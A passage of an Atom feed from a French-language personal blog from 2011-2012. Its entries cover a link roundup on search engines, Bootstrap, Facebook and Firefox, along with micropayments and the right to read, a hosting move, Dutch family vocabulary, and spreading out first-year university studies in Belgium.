(évidement) pas utiliser Bing, essayez
&lt;a href="http://duckduckgo.com"&gt;Duckduckgo&lt;/a&gt; ou encore
&lt;a href="http://volunia.com"&gt;Volunia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Volunia est un projet assez récent (vu dans le journal métro
d&amp;rsquo;aujourd&amp;rsquo;hui) et n&amp;rsquo;est pas disponible pour tout le monde. Il annonce
ajouter à la recherche habituelle, la &lt;strong&gt;recherche de «personnes»&lt;/strong&gt;. À
tester…&lt;/p&gt;
&lt;p&gt;&lt;a href="http://twitter.github.com/bootstrap/index.html"&gt;Bootstrap&lt;/a&gt;, un
framework html/CSS/Javascript à tester. C&amp;rsquo;est proposé par
&lt;a href="http://twitter.com"&gt;Twitter&lt;/a&gt;, c&amp;rsquo;est hébergé chez
&lt;a href="http://github.com"&gt;Github&lt;/a&gt; et ça m&amp;rsquo;a l&amp;rsquo;air très très bien.&lt;/p&gt;
&lt;p&gt;Facebook (parce qu&amp;rsquo;il faut bien en parler un peu !) Tout le monde a
maintenant activé sa &lt;em&gt;timeline&lt;/em&gt; (qui se dit « journal » en français).
Celle-ci apporte quelques nouveautés (et ça va nous générer plein de
statuts du style « Attention, Facebook à changé… »&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Gérer ses évènements dans la &lt;em&gt;timeline&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;survoler un élément et cliquer sur l&amp;rsquo;étoile l&amp;rsquo;étend sur les
    deux colonnes&lt;/li&gt;
&lt;li&gt;survoler et cliquer sur le crayon permettra de l&amp;rsquo;éditer, voire
    de le supprimer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;rsquo;&lt;em&gt;activity log&lt;/em&gt; (le &lt;strong&gt;journal d&amp;rsquo;activités&lt;/strong&gt;) permet de suivre son
    activité sur FB, c&amp;rsquo;est privé (probablement)… ce qui me permet
    de voir que j&amp;rsquo;ai créé mon compte FB le 30 avril 2008 à 15h19 (qui a
    dit futile ?)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les applications spécifiques à la &lt;em&gt;timeline&lt;/em&gt; vont me permettre de
    partager des recettes de cuisine, des photos et de la musique. Il
    semblerait qu&amp;rsquo;il soit possible d&amp;rsquo;écouter de la musique ensemble;
    &lt;em&gt;tu fais le DJ et nous écoutons ce que tu proposes !&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://goggles.sneakygcr.net/"&gt;Goggles&lt;/a&gt;, une &lt;em&gt;boockmarklet&lt;/em&gt; vraiment
inutile pour faire des graffitis sur les sites web (regardez ce que
ça donne chez &lt;a href="http://korben.info"&gt;Korben&lt;/a&gt; et chez Megauload par
exemple).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://mozilla.org/firefox"&gt;Firefox&lt;/a&gt; 10 sort. Dans la liste des
nouveautés, je lis&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ajout d&amp;rsquo;une API pour le passage en mode plein écran : il n&amp;rsquo;y a plus
besoin d&amp;rsquo;utiliser la touche F11 pour passer en mode plein écran.
Cette option peut être définie directement dans le code d&amp;rsquo;une page
web&lt;/p&gt;
&lt;p&gt;Extrait de
&lt;a href="http://www.tux-planet.fr/les-nouveautes-de-firefox-10/"&gt;Tux-planet&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne suis &lt;strong&gt;vraiment&lt;/strong&gt; pas convaincu que ce soit une bonne chose.&lt;/p&gt;
&lt;p&gt;Chez &lt;a href="http://www.mariejulien.com"&gt;Marie et Julien&lt;/a&gt;, une « interview pour
les étudiants en com/graphisme dont le prof n&amp;rsquo;a aucune imagination ». Ça
me fait rire vu le boulot que je fais et je cite&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Quelles sont, d&amp;rsquo;après-vous, les principales différences entre un
travail pour le milieu culturel/institutionnel et un travail plus
commercial ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Dans le culturel, on fait des affiches mal payées avec des gros fonds
de couleurs vives et des collages à la photocopieuse pour des pièces
de théâtre au décor dépouillé où des acteurs en vêtements blancs vont
inexorablement se foutre à poil avant l&amp;rsquo;entracte, alors que dans des
boulots commerciaux le client paye cher pour ne PAS voir ce genre de
choses.&lt;/p&gt;
&lt;p&gt;Extrait de
&lt;a href="http://www.mariejulien.com/?post/2011/12/11/Une-interview-pour-toi%2C-l-%C3%A9tudiant-en-com/graphisme-dont-le-prof-n-a-aucune-imagination"&gt;mariejulien.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://tanguy.ortolo.eu"&gt;Tanguy Ortolo&lt;/a&gt; a une &lt;a href="http://tanguy.ortolo.eu/blog/article34/copie-privee"&gt;approche assez originale
du droit à la copie
privée&lt;/a&gt;… mais
ça se tient. Nous payons une taxe sur les supports numériques, nous
avons le droit de faire des copies privées… faisons-en… et
copions les émissions radio que l&amp;rsquo;on écoute, les films que l&amp;rsquo;on
regarde, que l&amp;rsquo;on achète,… Pour ce faire un &lt;em&gt;soft&lt;/em&gt; à tester;
&lt;a href="http://streamripper.sourceforge.net/"&gt;Streamripper&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;Sources&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://volunia.com"&gt;Volunia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://duckduckgo.com"&gt;Duckduckgo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://metrotime.be"&gt;Le journal métro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ploum.net"&gt;ploum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://twitter.github.com/bootstrap/index.html"&gt;Bootstrap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.facebook.com/blog.php?post=10150457932027131"&gt;Facebook
    blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://goggles.sneakygcr.net"&gt;Goggles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.tux-planet.fr/les-nouveautes-de-firefox-10"&gt;Tux-lanet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mariejulien.com/?post/2011/12/11/Une-interview-pour-toi%2C-l-%C3%A9tudiant-en-com/graphisme-dont-le-prof-n-a-aucune-imagination"&gt;Le blog de Marie et
    Julien&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tanguy.ortolo.eu"&gt;Le blog de Tanguy Ortolo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-11-24-vrac-7.html"&gt;Vrac #7&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-08-Vrac-6.html"&gt;Vrac #6&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-02-21-Vrac-5.html"&gt;Vrac #5&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Le droit de lire et l'envie de micropayer</title><link href="http://blog.namok.be/2012-02-06-le-droit-de-lire-et-l-envie-de-micropayer.html" rel="alternate"/><published>2012-02-06T00:00:00+01:00</published><updated>2012-02-06T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-02-06:/2012-02-06-le-droit-de-lire-et-l-envie-de-micropayer.html</id><summary type="html">Et si demain le partage de livres étaient interdit.</summary><content type="html">&lt;p&gt;Hier, je me suis surpris à payer 1.5€ pour une application &lt;a href="http://market.android.com/"&gt;Androïd&lt;/a&gt; qui me paraissant bien pratique.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je relis un &lt;a href="http://www.gnu.org/philosophy/right-to-read.fr.html"&gt;article de 1997 de Richard Stallman&lt;/a&gt; parlant du &lt;strong&gt;droit de lire&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Et demain j&amp;rsquo;ajoute un bouton &lt;a href="http://flattr.com/"&gt;Flattr&lt;/a&gt; sur mon site…&lt;/p&gt;
&lt;p&gt;Lorsque je me dis &lt;em&gt;surpris&lt;/em&gt; d&amp;rsquo;avoir payé une application, je mens. Je devrais plutôt dire que je n&amp;rsquo;y suis pas habitué &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; mais je suis tout à fait disposé à &lt;strong&gt;micropayer&lt;/strong&gt; une application.&lt;/p&gt;
&lt;p&gt;S&amp;rsquo;il faut donner 1 ou 2 € pour bénéficier d&amp;rsquo;une application Androïd, je n&amp;rsquo;hésite pas longtemps. Si tous les (enfin la plupart des) utilisateurs de ladite application paient une toute petite somme, le développeur sera payé et l&amp;rsquo;utilisateur n&amp;rsquo;aura pas l&amp;rsquo;impression d&amp;rsquo;être volé. Si les distributeurs demandent un prix exorbitant, l&amp;rsquo;utilisateur n&amp;rsquo;aura aucune envie de payer l&amp;rsquo;application.&lt;/p&gt;
&lt;p&gt;Ce qui est vrai pour une application peut l&amp;rsquo;être également pour un livre, de la musique, un film…&lt;/p&gt;
&lt;p&gt;Au gré des flux RSS et autres, je lis qu&amp;rsquo;un &lt;a href="http://bugbrother.blog.lemonde.fr/2012/01/21/lisez-vous-etes-surveilles/"&gt;journaliste reçoit un livre tatoué&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; de la part d&amp;rsquo;un éditeur afin de (j&amp;rsquo;imagine) pouvoir en faire la critique. Jadis le journaliste aurait &lt;strong&gt;reçu&lt;/strong&gt; le livre afin de pouvoir en faire la critique… je parie qu&amp;rsquo;il aurait même pu le donner voire le revendre après lecture… et ainsi en faire parler et, peut-être, donner l&amp;rsquo;envie à d&amp;rsquo;autres de le lire.&lt;/p&gt;
&lt;p&gt;Nous avons tous acheté des livres, nous avons tous reçu des livres en prêt et nous avons tous revendu ces livres. C&amp;rsquo;est ainsi que nous avons eu et que nous conservons l&amp;rsquo;envie de lire. C&amp;rsquo;est envie, ce droit peut-il nous être supprimé ?&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;article de Richard Stallman, écrit lorsque je sortais de l&amp;rsquo;école, est toujours d&amp;rsquo;actualité et n&amp;rsquo;est peut-être plus une fiction. Pour vous mettre l&amp;rsquo;eau à la bouche (attention, c&amp;rsquo;est de la « science-fiction »)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour Dan Halbert, la route vers Tycho commença à l&amp;rsquo;université - quand Lissa Lenz lui demanda de lui prêter son ordinateur. Le sien était en panne, et à moins qu&amp;rsquo;elle puisse en emprunter un autre, elle échouerait à son projet de mi-session. Il n&amp;rsquo;y avait personne d&amp;rsquo;autre à qui elle osait demander, à part Dan.&lt;/p&gt;
&lt;p&gt;Ceci posa un dilemme à Dan. Il se devait de l&amp;rsquo;aider — mais s&amp;rsquo;il lui prêtait son ordinateur, elle pourrait lire ses livres. À part le fait que vous pouviez aller en prison pour plusieurs années pour avoir laissé quelqu&amp;rsquo;un lire vos livres, l&amp;rsquo;idée même le choqua au départ. Comme à tout le monde, on lui avait enseigné dès l&amp;rsquo;école primaire que partager des livres était vicieux et immoral — une chose que seuls les pirates font.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://www.gnu.org/philosophy/right-to-read.fr.html"&gt;Le droit de lire&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ceci étant dit, je comprend qu&amp;rsquo;internet ne facilite pas la &lt;strong&gt;juste rétribution&lt;/strong&gt; de l&amp;rsquo;auteur car la circulation est plus vaste et plus rapide.&lt;/p&gt;
&lt;p&gt;Je (re)découvre le site &lt;a href="http://flattr.com/"&gt;Flattr&lt;/a&gt; (que je prononce &lt;em&gt;flatter&lt;/em&gt;) dont le principe est le suivant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je consacre une somme d&amp;rsquo;argent par mois pour les articles que je &lt;em&gt;flatte&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;en fin de mois cette somme d&amp;rsquo;argent est distribuée entre tous les articles « flattés » : je consacre 2€ et &lt;em&gt;flatte&lt;/em&gt; 1 article, l&amp;rsquo;auteur reçoit 2€. Si le mois suivant je &lt;em&gt;flatte&lt;/em&gt; 10 articles, les auteurs recevront chacun 20 cents.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ces considérations m&amp;rsquo;amènent à penser qu&amp;rsquo;un système de &lt;strong&gt;microrétribution juste&lt;/strong&gt; pourrait exister.&lt;/p&gt;
&lt;p&gt;Seriez-vous prêt à payer 10 cents pour un article de journal ? Moi je suis prêt à le faire si je peux ensuite prêter mon journal comme je le fais pour mon journal papier…&lt;/p&gt;
&lt;p&gt;Je sais, on va encore me traiter d&amp;rsquo;idéaliste voire de naïf…&lt;/p&gt;
&lt;h4&gt;Sources&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://bugbrother.blog.lemonde.fr/2012/01/21/lisez-vous-etes-surveilles"&gt;Bug brother - Lisez, vous êtes surveillés&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnu.org/philosophy/right-to-read.fr.html"&gt;Le droit de lire&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Que les mauvaises langues se rassurent, je ne paie pas mes applications car j&amp;rsquo;utilise des applications libres et gratuites&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Un livre &lt;strong&gt;tatoué&lt;/strong&gt; est un livre protégé contre la distribution. Un livre pour lequel on essaie d&amp;rsquo;empêcher un maximum de gens de le lire ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>On déménage</title><link href="http://blog.namok.be/2012-01-24-on-demenage.html" rel="alternate"/><published>2012-01-24T00:00:00+01:00</published><updated>2012-01-24T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-01-24:/2012-01-24-on-demenage.html</id><summary type="html">Changement d'hébergement.</summary><content type="html">&lt;p&gt;Ah comme l&amp;rsquo;utilisateur &lt;strong&gt;est volage&lt;/strong&gt; ! Cela fait 18 ans (&lt;em&gt;&lt;a href="http://web.archive.org/web/20030807001242/http://pittt.free.fr/"&gt;OMG&lt;/a&gt; !&lt;/em&gt;) que j&amp;rsquo;ai un hébergement (gratuit) chez &lt;a href="http://free.fr"&gt;free&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Hébergement dont j&amp;rsquo;ai toujours été satisfait … jusqu&amp;rsquo;à hier 😉. La base de données qui alimente mon blog a été …heu …&lt;strong&gt;supprimée&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Plus rien !&lt;br&gt;
Plus une table, plus un enregistrement.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai donc installé le blog chez &lt;a href="http://ovh.com"&gt;ovh&lt;/a&gt;, là où j&amp;rsquo;ai mon hébergement (payant cette fois)… Après quelques jours de maintenances; ça devrait être transparent pour mes (millions) de lecteurs.&lt;/p&gt;
&lt;p&gt;Pour les détails techniques, ça reste un blog &lt;em&gt;propulsé&lt;/em&gt; par &lt;a href="http://dotclear.org"&gt;Dotclear&lt;/a&gt;… et l&amp;rsquo;on en profite pour passer en version 2.4.1.2… ce qui va occasionner quelques désagréments; mise à jour du style par exemple.&lt;/p&gt;
&lt;p&gt;On en profite pour rappeler l&amp;rsquo;&lt;strong&gt;importance des backups&lt;/strong&gt;… et l&amp;rsquo;on remercie le &lt;em&gt;cache de &lt;a href="http://google.be/q?pittt.free.fr/blog"&gt;Google&lt;/a&gt;&lt;/em&gt; pour les deux trois billets récupérés grace à lui.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 26 janvier 2012&lt;/strong&gt; La BD a été complètement indisponible pendant 1 ou 2 jours et soudain tout est revenu à la normale… je suis donc &lt;em&gt;dédoublé&lt;/em&gt; pour l&amp;rsquo;instant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 30 janvier 2012&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ajout d&amp;rsquo;une redirection permanente (&lt;code&gt;RedirectMatch Permanently&lt;/code&gt;) du blog chez &lt;a href="http://free.fr"&gt;free&lt;/a&gt; vers &lt;a href="http://ovh.com"&gt;ovh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Le plugin Delicious, &lt;a href="https://blog.namok.be/blog/index.php?post/2009/07/27/Plugin-Delicious-pour-Dotclear-2"&gt;écrit à l&amp;rsquo;époque&lt;/a&gt;, est &lt;strong&gt;cassé&lt;/strong&gt; car &lt;a href="http://delicious.com"&gt;Delicous&lt;/a&gt; a mis à jour son api.&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Une marâtre impitoyable</title><link href="http://blog.namok.be/2021-01-16-une-maratre-impitoyable.html" rel="alternate"/><published>2012-01-16T00:00:00+01:00</published><updated>2012-01-16T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-01-16:/2021-01-16-une-maratre-impitoyable.html</id><summary type="html">Une marâtre impitoyable</summary><content type="html">&lt;p&gt;Petite histoire de famille et de langue. Hier nous nous disions que le terme &lt;em&gt;step mother&lt;/em&gt; était plus sympa et plus représentatif que &lt;em&gt;belle-mère&lt;/em&gt; (on ne parle même pas de &lt;em&gt;marâtre&lt;/em&gt; qui a, parrait-il, une connotation négative ;-) ).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;avantage du terme anglais est que l&amp;rsquo;on ne confond pas la belle-mère, mère du ou de la partenaire avec la &lt;em&gt;step mum&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Sur ce, les filles me disent qu&amp;rsquo;en néerlandais, c&amp;rsquo;est &lt;em&gt;stiefmoeder&lt;/em&gt; et que &lt;em&gt;stief&lt;/em&gt; n&amp;rsquo;a pas de signification particulière. &lt;/p&gt;
&lt;p&gt;Ok. &lt;/p&gt;
&lt;p&gt;Ce matin, on vérifie dans le dictionnaire et l&amp;rsquo;on constate qu&amp;rsquo;il existe plein de &lt;em&gt;stief&lt;quelque chose&gt;&lt;/em&gt; et qu&amp;rsquo;il existe aussi &lt;strong&gt;&lt;em&gt;steifmoderlijk&lt;/em&gt;&lt;/strong&gt; qui signifie &lt;strong&gt;impitoyable&lt;/strong&gt; (&lt;a href="http://synoniemen.net/alexandria.php?word=stiefmoederlijk&amp;amp;source=nl&amp;amp;target=fr"&gt;voire pire&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Or donc après la &lt;strong&gt;méchante marâtre&lt;/strong&gt;, parce qu&amp;rsquo;elle est toujours méchante 😨 voici l&amp;rsquo;&lt;strong&gt;impitoyable belle-mère&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;y a donc qu&amp;rsquo;en anglais que ma femme ne traumatise pas mes enfants !&lt;/p&gt;</content></entry><entry><title>Bob a raté médecine</title><link href="http://blog.namok.be/2012-01-09-Bob-a-rate-medecine.html" rel="alternate"/><published>2012-01-09T00:00:00+01:00</published><updated>2012-01-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-01-09:/2012-01-09-Bob-a-rate-medecine.html</id><summary type="html">Une première apparition de la notion d’étalement dans le supérieur.</summary><content type="html">&lt;p&gt;Dans le journal du jour, je lis ceci qui n&amp;rsquo;est pas sans me rappeler une
idée d&amp;rsquo;un collègue (appelons-le &lt;strong&gt;Bob&lt;/strong&gt; aujourd&amp;rsquo;hui) pour notre
&lt;a href="http://heb.be/esi"&gt;école&lt;/a&gt;. Il est dit qu&amp;rsquo;il faut aider les étudiants
de première médecine à réussir leur année… et l&amp;rsquo;&lt;strong&gt;aide à la réussite des étudiants de premières&lt;/strong&gt;, c&amp;rsquo;est à la mode.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(Belga) L&amp;rsquo;étalement sur deux ans de la première année des études de
médecine pourra être imposé par un jury dès la session de janvier 2013
à l&amp;rsquo;étudiant qui n&amp;rsquo;aura pas obtenu une moyenne de 8 sur 20, selon le
projet de réforme des études de médecine présenté vendredi par le
ministre Jean-Claude Marcourt (PS).&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;annonce Belga&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Qu&amp;rsquo;est-ce que l&amp;rsquo;étalement ?&lt;/h4&gt;
&lt;p&gt;Si un constat d&amp;rsquo;échec en première peut-être posé par l&amp;rsquo;étudiant (ou
par les professeurs) dès la fin du premier quadrimestre (en janvier
donc), inutile de « perdre » le second quadrimestre en se trainant dans
des cours que l&amp;rsquo;on ne comprend plus (ou au café). Mieux vaut pouvoir
bénéficier d&amp;rsquo;un horaire adapté et allégé afin de réussir quelques cours
et se trouver dans une démarche de réussite.&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;université et, plus particulièrement les étudiants en médecine,
il s&amp;rsquo;agit de (je cite)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le projet prévoit une évaluation en janvier pouvant mener, en cas
d&amp;rsquo;échec grave, à l&amp;rsquo;élaboration d&amp;rsquo;un contrat d&amp;rsquo;études pour le
deuxième quadrimestre, après entretien avec un jury académique si
l&amp;rsquo;étudiant le souhaite. Ce programme particulier pourra déboucher
soit sur de nouvelles remédiations, soit sur un étalement accompagné
d&amp;rsquo;une remédiation, soit encore sur une réorientation dès février vers
d&amp;rsquo;autres études "plus adaptées aux aptitudes ou aux goûts de
l&amp;rsquo;étudiant".&lt;/p&gt;
&lt;p&gt;Mais si l&amp;rsquo;étudiant n&amp;rsquo;accepte pas la proposition du jury, ce dernier
pourra imposer l&amp;rsquo;étalement de l&amp;rsquo;année d&amp;rsquo;études dès lors que la
moyenne en janvier est inférieure à 8/20 ou un complément de
remédiation si elle est inférieure à 10/20, le seuil de réussite étant
quoi qu&amp;rsquo;il en soit fixé à 12/20 en fin d&amp;rsquo;année. (BPE)&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;étalement, mesure originale du projet, n&amp;rsquo;est pas considérée comme un
redoublement. L&amp;rsquo;étudiant conserve donc ses droits aux allocations
d&amp;rsquo;études et peut reporter ses notes des matières réussies. Un nouveau
minerval n&amp;rsquo;est pas dû, mais bien un droit fixe d&amp;rsquo;une trentaine
d&amp;rsquo;euros.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.lesoir.be/salledesprofs/2012/01/06/marcourt-veut-letalement-de-la-premiere-annee-de-medecine-des-2013/"&gt;Source, le blog du soir - Vanessa Lhuillier&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cette proposition rejoint l&amp;rsquo;idée de Bob pour l&amp;rsquo;ÉSI. Puisqu&amp;rsquo;il faut
réfléchir à la réussite des étudiants de première et que l&amp;rsquo;on constate
(depuis la nuit des temps) que le taux de réussite est faible, mieux
vaut tenter d&amp;rsquo;être innovant.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée de Bob concerne les cours de langage Java et de logique
particulièrement. Ce sont des cours importants et assez difficiles pour
les étudiants de première. Ce sont des cours assez évolutifs pour
lesquels il est impossible de suivre le second quadrimestre si l&amp;rsquo;on
n&amp;rsquo;a pas acquis les concepts pendant le premier quadrimestre. L&amp;rsquo;idée
donc, est de permettre aux étudiants &lt;strong&gt;en situation d&amp;rsquo;échec en janvier&lt;/strong&gt; de&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;reconnaître qu&amp;rsquo;ils ont très peu de chances de réussir leur première
    année en une fois,&lt;/li&gt;
&lt;li&gt;accepter de laisser tomber volontairement certains cours (qu&amp;rsquo;ils
    présenteront donc l&amp;rsquo;année d&amp;rsquo;après),&lt;/li&gt;
&lt;li&gt;bénéficier d&amp;rsquo;un horaire adapté avec un cours adapté pour des cours
    ciblés (java, logique, ...)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;À la fin de l&amp;rsquo;année,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ils ne présentent pas les cours qu&amp;rsquo;ils ont laissés tomber et
    obtiennent donc 0 &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;ils présentent les cours «remédiés» avec les autres étudiants&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… lors de la délibération, ils ne réussiront pas leur année…
&lt;strong&gt;mais&lt;/strong&gt; ils auront eu (beaucoup) plus de chances de réussir des examens
qu&amp;rsquo;ils auraient plus que probablement raté. Leur année se solde au
pire, par une série de bonnes dispenses et de bonnes bases pour bisser,
au mieux par une réussite à 48 ECTS.&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;école, le coût peut être
faible &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.
Des profs donneraient le (attention à la dénomination) « cours standard »
et d&amp;rsquo;autres profs donneraient le «cours remédié».&lt;/p&gt;
&lt;p&gt;À réfléchir…&lt;/p&gt;
&lt;h5&gt;Quelques liens&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.levif.be/info/belga-politique/etudes-de-medecine-l-etalement-de-la-premiere-annee-pourra-etre-impose-des-janvier-2013/article-4000027326337.htm"&gt;Le vif&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.lesoir.be/salledesprofs/2012/01/06/marcourt-veut-letalement-de-la-premiere-annee-de-medecine-des-2013/"&gt;Blog, le soir - Vanessa Lhuillier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.metroclub.be/fr/metrotime/"&gt;Journal métro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;S&amp;rsquo;ils voulaient changer d&amp;rsquo;avis, rien ne nous permet de l&amp;rsquo;interdire,
ils peuvent présenter l&amp;rsquo;examen s&amp;rsquo;ils le veulent (sans avoir suivi le
cours)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je n&amp;rsquo;y ai pas vraiment réfléchi. Coût il y a mais peut-être vaut il la
peine.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Son altesse altesse sérénissime</title><link href="http://blog.namok.be/2011-12-08-Son-altesse-altesse-serenissime.html" rel="alternate"/><published>2011-12-08T00:00:00+01:00</published><updated>2011-12-08T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-12-08:/2011-12-08-Son-altesse-altesse-serenissime.html</id><summary type="html">Où Malko parle plutôt de software as a service chez Gmail en l'occurrence.</summary><content type="html">&lt;p&gt;Absolument tout le monde (ou peut-être seulement les mecs) a eu un jour dans ses mains un &lt;a href="http://web.archive.org/web/20080124174435/http://www.sasmalko.com/catalogue/"&gt;SAS&lt;/a&gt;. &lt;strong&gt;Son altesse sérénissime, &lt;a href="http://fr.wikipedia.org/wiki/Malko_Linge"&gt;Malko&lt;/a&gt; I&lt;/strong&gt; est le héros des livres de &lt;a href="http://fr.wikipedia.org/wiki/G%C3%A9rard_de_Villiers"&gt;Gérard de Villiers&lt;/a&gt; et… ce n&amp;rsquo;est absolument pas le sujet&lt;/p&gt;
&lt;p&gt;Le &lt;em&gt;buzz&lt;/em&gt; (ou le concept des prochaines années) est la notion de &lt;strong&gt;saas&lt;/strong&gt;… &lt;strong&gt;Software as a service&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Même si j&amp;rsquo;ai découvert le mot très récemment, il &lt;a href="http://fr.wikipedia.org/wiki/Logiciel_en_tant_que_service"&gt;semble que le concept existe depuis debut 2000&lt;/a&gt; et l&amp;rsquo;utilisation de l&amp;rsquo;informatique d&amp;rsquo;aujourd&amp;rsquo;hui va développer son utilisation.&lt;/p&gt;
&lt;p&gt;Petite explication…&lt;/p&gt;
&lt;p&gt;Jadis lorsque une entreprise ou un particulier avait besoin d&amp;rsquo;exécuter une tâche (informatique s&amp;rsquo;entend), il se &lt;strong&gt;procurait l&amp;rsquo;application&lt;/strong&gt; qui va bien, &lt;strong&gt;l&amp;rsquo;installait&lt;/strong&gt; et pouvait faire ensuite le boulot. Ceci implique&lt;/p&gt;
&lt;ul&gt;
